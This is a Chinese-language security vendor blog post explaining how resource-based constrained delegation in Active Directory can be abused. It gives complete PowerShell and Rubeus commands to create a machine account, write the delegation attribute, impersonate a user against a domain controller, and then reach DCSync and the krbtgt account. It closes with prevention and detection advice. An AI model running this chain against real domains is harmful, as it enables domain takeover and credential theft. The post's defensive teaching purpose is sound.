Netwrix 1Secure 提供跨数据和身份的统一可见性——免费试用14天,享有完全访问权限。开始免费试用

资源中心博客

基于资源的约束委派滥用

基于资源的约束委派滥用

Jun 21, 2025

对大多数 IT 管理员来说,委派(Delegation)既令人困惑又十分复杂。 Active Directory 提供 非约束委派(unconstrained delegation)、约束委派(constrained delegation)以及基于资源的约束委派(resource-based constrained delegation,RBCD)。

本文将回顾为何基于资源的约束委派比其前代方案更安全——以及它仍然可能被滥用,并用作横向移动(lateral movement)和 权限提升(privilege escalation) 。具体而言,我们将带您了解一个场景:攻击者滥用基于资源的约束委派,并结合一些配置不当的 Active Directory 权限,在 Active Directory 中创建计算机账户。

最后,我们将提供攻击步骤的代码,并提供一份 FAQ,了解关于 Kerberos delegation 三种类型的更多信息。

RBCD 基础

从 Windows Server 2012 开始,可以在资源本身或计算机账户上配置基于资源的约束委派。这与其他类型的委派不同,其他类型通常是在访问资源的账户上进行配置。基于资源的委派由 msDS-AllowedToActOnBehalfOfOtherIdentity 属性控制;它会为能够访问资源的对象存储一个安全描述符。

为什么这种委派模型比以前的版本更好? Microsoft 的表述是:“通过支持跨域的约束委派,可以将服务配置为使用约束委派来对其他域中的服务器进行身份验证,而不是使用不受约束的委派。这通过使用现有的 Kerberos 基础架构,在无需信任前端服务将其委派给任何服务的情况下,为跨域的服务解决方案提供身份验证支持。”

攻击概览

要执行基于资源的约束委派攻击,攻击者必须:

  • 使用他们拥有控制权的计算机帐户,填充 msDS-AllowedToActOnBehalfOfOtherIdentity 属性。
  • 掌握他们想要访问的对象上配置的 SPN

因为默认情况下,所有用户都可以创建 10 个计算机帐户(MachineAccountQuota),所以这些任务可以很容易地从非特权帐户完成。攻击者所需的唯一权限是由于某些配置不当的 Active Directory 权限,能够在目标计算机上写入该属性。

为实现这一点并快速展示概念验证,我们将使用以下工具,并采用以下场景:

  1. 由于 Active Directory 权限配置不当,我们已入侵一台 Windows 10 主机上的非特权账户。该账户能够访问并在域控制器上写入 msDS-AllowedToActOnBehalfOfOtherIdentity 属性。
  2. 将使用 PowerMad 创建新的计算机账户(由于默认的 MachineAccountQuota 值允许)。
  3. 我们将 msDS-AllowedToActOnBehalfOfOtherIdentity 属性设置为包含与我们创建的计算机账户相关的安全描述符(security descriptor)。
  4. 我们利用 Rubeus 滥用基于资源的约束委派(resource-based constrained delegation)。

步骤 1。检查被入侵账户的访问权限。

首先,让我们来看看作为攻击者我们已经获得访问权限的账户。SBPMLABnonadmin 只是一个普通的域用户账户,但它在其机器上拥有本地管理员权限。下面的截图表明,我们当前的权限无法通过 UNC 访问 SBPMLAB-DC2 的 C$ 管理共享:

Resource Based Constrained Delegation 1

借助用于枚举 Active Directory 中权限与对象的工具,我们可以发现:我们对一台域控制器拥有某些权限,而这台域控制器将成为我们的目标。下面的 PowerShell 脚本会识别在目标机器上,指定用户的 SID 何处拥有以下权限:完全控制、写入、修改权限或写入属性:msDS-AllowedToActOnBehalfOfOtherIdentity

Resource Based Constrained Delegation 2

步骤 2。创建一个新的计算机账户。

既然我们已经知道自己具备修改所需填充属性的能力,那么我们需要一个由我们控制的计算机账户来执行更新。由于 MachineAccountQuota 的值保留为默认值,我们就可以使用 PowerMad 来创建一个计算机账户 RBCDMachine,并设置密码 ThisIsATest

Resource Based Constrained Delegation 3

步骤 3. 允许该帐户代表另一身份执行操作。

现在我们需要将 msDS-AllowedToActOnBehalfOfOtherIdentity 属性设置为包含我们创建的计算机帐户的安全描述符(security descriptor),并填充我们有权限的域控制器(DC)的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性:

Resource Based Constrained Delegation 4

现在只需要获取我们 RBCDMachine 帐户的 ‘ThisIsATest’ 密码的哈希值:

Resource Based Constrained Delegation 5

RBCDMachine 帐户的密码哈希

步骤 4. 使用 Rubeus 利用(滥用)RBCD。

现在我们已经拥有使用 Rubeus 来滥用基于资源的约束委派(resource-based constrained delegation)所需的一切。下面回顾一下我们到目前为止收集到的内容:

  • 我们希望进行冒充的用户
  • 我们创建的 RBCDMachine$ 账户,它已填充到目标 DC 的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性中
  • RBCDMachine$ 账户密码的哈希值(0DE1580972A99A216CED8B058300033F)
  • 我们希望获得对目标域控制器访问权限的 servicePrincipalName

使用此信息,我们可以在 Rubeus 中运行以下命令,将票据导入到内存中:

s4u /user:RBCDMachine$ /rc4:0DE1580972A99A216CED8B058300033F /impersonateuser:kevinj /msdsspn:cifs/SBPMLAB-DC2.sbpmlab.net /ptt

Resource Based Constrained Delegation 6

使用 klist 可以确认服务票据已成功导入。现在我们可以成功进入域控制器上的 SBPMLAB-DCC$ 管理共享,并列出其内容:

Resource Based Constrained Delegation 7

下一步

在获得对目标域控制器上管理员共享的访问权限后,我们可以采取措施来确保持久性,甚至进一步提升我们的权限,例如 攻破 NTDS.dit 文件

另一个选项是通过在 Rubeus 命令中更改 msdsspn 参数来请求对 LDAP 服务的访问,然后利用它来执行 DCSync attack 并接管 krbtgt 账号

下面是 LDAP 服务的缓存票据:

Resource Based Constrained Delegation 8

下面介绍的是在获得对 LDAP 的访问权限后如何执行 DCSync

Resource Based Constrained Delegation 9

攻击检测与防范

让我们快速回顾一下我们采取了哪些步骤,以揭示一些防止这类攻击的策略:

  1. 我们接管了一个具备修改域控制器的“msDS-AllowedToActOnBehalfOfOtherIdentity”属性能力的账户。
  2. 我们创建了一个计算机账户,并利用默认的 MachineAccountQuota 设置。
  3. 我们使用自己创建的计算机账户来填充该属性。
  4. 我们使用 Rubeus 向 DC 上的 LDAP 服务请求票据(ticket)。
  5. 我们能够执行 DCSync 来接管 krbtgt 账户。

预防

如何防止这些情况在您的环境中发生?

  • 了解并严格管控 Active Directory 权限。 了解谁可以访问 Active Directory 对其安全至关重要。能够修改计算机对象的属性只是攻击者利用您环境的众多途径之一。能够修改环境中其他用户的组成员身份或重置其密码,同样会造成严重破坏,而且使用 BloodHound 等工具更容易被利用。查看 Netwrix Active Directory Security Solution 以了解它如何帮助您确保 AD 得到安全配置,识别过度的访问权限和影子管理员,并实时检测和阻止复杂攻击。
  • 确保不应被委派的敏感帐户已标记为“不可委派”。 将用户加入 Protected Users 组,或勾选选项“Account is sensitive and cannot be delegated(帐户敏感且不能委派)”,都将从源头阻止资源受限委派攻击。

Resource Based Constrained Delegation 10

检测

要检测资源受限委派攻击(resource-constrained delegation attacks),可以执行以下操作:

  • 监控是否由非管理员用户创建了计算机帐户。当非管理员用户创建计算机帐户时,会填充属性“mS-DS-CreatorSID”,因此可以使用此命令来识别这些帐户:
      Get-ADComputer -Properties ms-ds-CreatorSid -Filter {ms-ds-creatorsid -ne "$Null"}
      

代码

  • 识别针对目标计算机($target)且由我们拥有的帐户($myaccount)的权限:
      #Target Machine we want to check permissions on
$target = 'sbpmlab-dc2.sbpmlab.net'
$targetComputer = Get-ADComputer -Filter 'dnshostname -eq $target'
#SID of the account we have control over
$myaccount = Get-ADuser notadmin -Properties sid | select -ExpandProperty sid

#Identify schemaIDGUID of msDS-AllowedToActOnBehalfOfOtherIdentity
$schemaIDGUID = @{}
Get-ADObject -SearchBase (Get-ADRootDSE).schemaNamingContext -LDAPFilter '(name=ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity)' -Properties name, schemaIDGUID |
ForEach-Object {$schemaIDGUID.add([System.GUID]$_.schemaIDGUID,$_.name)}
#Identify permissions our account has over a target computer
#Specifically Full Control, Write, Modify Permissions or Write Property: msDS-AllowedToActOnBehalfOfOtherIdentity
Import-Module C:ToolsPowerSploitReconPowerView_dev.ps1
$permissions = Get-ObjectAcl $target | ?{$_.SecurityIdentifier -match $myaccount -and (($_.ObjectAceType -match $schemaIDGUID.Keys -and $_.ActiveDirectoryRights -like '*WriteProperty*') -or ($_.ActiveDirectoryRights -like '*GenericAll*' -or $_.ActiveDirectoryRights -like '*GenericWrite*' -or $_.ActiveDirectoryRights -like '*WriteDACL*')) }
$permissions
      
  • 检查域的 MachineAccountQuota 设置,然后使用 PowerMad 创建计算机帐户:
      #Check MachineAccountQuotaValue
Get-ADDomain | Select-Object -ExpandProperty DistinguishedName | Get-ADObject -Properties 'ms-DS-MachineAccountQuota'

#Use PowerMad to leverage MachineAccountQuota and make a new machine that we have control over
Import-Module C:ToolsPowermad-masterPowermad.ps1
$password = ConvertTo-SecureString 'ThisIsAPassword' -AsPlainText -Force
New-MachineAccount -machineaccount RBCDMachine -Password $($password)
      
  • 使用我们创建的新计算机更新 msDS-AllowedToActOnBehalfOfOtherIdentity 属性:
      #Set msDS-AllowedToActOnBehalfOfOtherIdentity with our new computer object
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount RBCDMachine$
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount
      
  • 获取我们为计算机账户设置的密码的哈希值:
      #Get hash of password we set
import-module C:ToolsDSInternalsDSInternalsDSInternals.psd1
ConvertTo-NTHash $password
      
  • 使用 Rubeus 执行 RBCD 滥用:
      C:ToolsGhostPackRubeusRubeusbindebugRubeus.exe s4u /user:RBCDMachine$ /rc4:0DE1580972A99A216CED8B058300033F /impersonateuser:kevinj /msdsspn:cifs/SBPMLAB-DC2.sbpmlab.net /ptt
      

常见问题

什么是 Kerberos 委派(delegation)?

Kerberos delegation 的实际用途,是使应用程序或服务能够在另一位用户的授权下,访问托管在其他服务器上的资源。

无约束委派(unconstrained delegation)如何工作?

无约束 Kerberos delegation 使应用程序或服务能够在任何其他所选服务中,冒充目标用户。

受限委派(constrained delegation)如何工作?

受限委派允许你配置某个帐户可以被委派到哪些服务。S4U2proxy 是 Kerberos Constrained Delegation 扩展。

基于资源的约束委派如何工作?

不再指定哪个对象可以委派给哪项服务,而是由托管该服务的资源指定哪些对象可以委派给它。

Netwrix Directory Manager

分享到

了解更多

关于作者

Asset Not Found

Kevin Joyce

产品管理总监

Netwrix 产品管理总监。Kevin 对网络安全充满热情,尤其致力于理解攻击者为利用组织环境所采用的策略与技术。凭借八年的产品管理经验,并专注于 Active Directory 和 Windows 安全,他将这种热情投入到帮助构建解决方案中,助力组织保护其身份、基础设施和数据。